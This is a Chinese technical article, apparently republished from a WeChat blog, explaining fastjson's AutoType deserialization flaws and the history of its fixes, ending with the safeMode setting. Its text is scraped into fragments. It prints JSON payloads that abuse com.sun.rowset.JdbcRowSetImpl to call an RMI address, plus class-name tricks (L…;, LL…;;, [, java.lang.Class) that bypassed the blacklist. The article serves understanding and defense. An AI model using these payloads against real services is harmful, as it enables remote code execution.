fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?
掃描二維碼
隨時隨地手機(jī)看文章
1.2.59發(fā)布,增強(qiáng)AutoType打開時的安全性 fastjson 1.2.60發(fā)布,增加了AutoType黑名單,修復(fù)拒絕服務(wù)安全問題 fastjson 1.2.61發(fā)布,增加AutoType安全黑名單 fastjson 1.2.62發(fā)布,增加AutoType黑名單、增強(qiáng)日期反序列化和JSONPath fastjson 1.2.66發(fā)布,Bug修復(fù)安全加固,并且做安全加固,補(bǔ)充了AutoType黑名單 fastjson 1.2.67發(fā)布,Bug修復(fù)安全加固,補(bǔ)充了AutoType黑名單 fastjson 1.2.68發(fā)布,支持GEOJSON,補(bǔ)充了AutoType黑名單。(引入一個safeMode的配置,配置safeMode后,無論白名單和黑名單,都不支持autoType。) fastjson 1.2.69發(fā)布,修復(fù)新發(fā)現(xiàn)高危AutoType開關(guān)繞過安全漏洞,補(bǔ)充了AutoType黑名單 fastjson 1.2.70發(fā)布,提升兼容性,補(bǔ)充了AutoType黑名單
-
1、基于屬性 -
2、基于setter/getter
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
JSON.toJSONString
進(jìn)行序列化,可以得到以下JSON內(nèi)容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
SerializerFeature.WriteClassName
進(jìn)行標(biāo)記,即將上述代碼中的
String jsonString = JSON.toJSONString(store);
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
SerializerFeature.WriteClassName進(jìn)行標(biāo)記后,JSON字符串中多出了一個@type字段,標(biāo)注了類對應(yīng)的原始類型,方便在反序列化的時候定位到具體類型
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
@type
到內(nèi)容,試圖把JSON內(nèi)容反序列化成這個對象,并且會調(diào)用這個類的setter方法。
@type
指定一個自己想要使用的攻擊類庫。
com.sun.rowset.JdbcRowSetImpl
,這是sun官方提供的一個類庫,這個類的dataSourceName支持傳入一個rmi的源,當(dāng)解析這個uri的時候,就會支持rmi遠(yuǎn)程調(diào)用,去指定的rmi地址中去調(diào)用方法。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
繞過checkAutotype,黑客與fastjson的博弈
L
和
;
,形如
Lcom.lang.Thread;
。
L
和
;
就可以繞過黑白名單的檢查了,也不耽誤被fastjson正常加載。
Lcom.sun.rowset.JdbcRowSetImpl;
,會先通過白名單校驗(yàn),然后fastjson在加載類的時候會去掉前后的
L
和
,
變成了
com.sun.rowset.JdbcRowSetImpl
。
L
和
;
,如果是的話,就截取掉前后的
L
和
;
再進(jìn)行黑白名單的校驗(yàn)。
LL
和
;;
,這樣再被截取之后還是可以繞過檢測。如
LLcom.sun.rowset.JdbcRowSetImpl;;
LL
未開頭的判斷,如果目標(biāo)類以
LL
開頭,那么就直接拋異常,于是就又短暫的修復(fù)了這個漏洞。
L
和
;
這里走不通了,于是想辦法從其他地方下手,因?yàn)閒astjson在加載類的時候,不只對
L
和
;
這樣的類進(jìn)行特殊處理,還對
[
也被特殊處理了。
[
,v1.2.43以前的所有版本又淪陷了。
[
開頭或者以
;
結(jié)尾,都直接拋異常。也就解決了 v1.2.43及歷史版本中發(fā)現(xiàn)的bug。
autoType不開啟也能被攻擊?
java.lang.Class
java.lang.Class
類對應(yīng)的deserializer為MiscCodec,反序列化時會取json串中的val值并加載這個val對應(yīng)的類。
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
利用異常進(jìn)行攻擊
ParserConfig.getGlobalInstance().setSafeMode(true);
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
參考資料:
https://github.com/alibaba/fastjson/releases
https://github.com/alibaba/fastjson/wiki/security_update_20200601
https://paper.seebug.org/1192/
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://www.lmxspace.com/2019/06/29/FastJson-反序列化學(xué)習(xí)
喜歡本文的朋友們,歡迎長按下圖關(guān)注公眾號程序員小灰,收看更多精彩內(nèi)容
給個[在看],是對小灰最大的支持!
免責(zé)聲明:本文內(nèi)容由21ic獲得授權(quán)后發(fā)布,版權(quán)歸原作者所有,本平臺僅提供信息存儲服務(wù)。文章僅代表作者個人觀點(diǎn),不代表本平臺立場,如有問題,請聯(lián)系我們,謝謝!





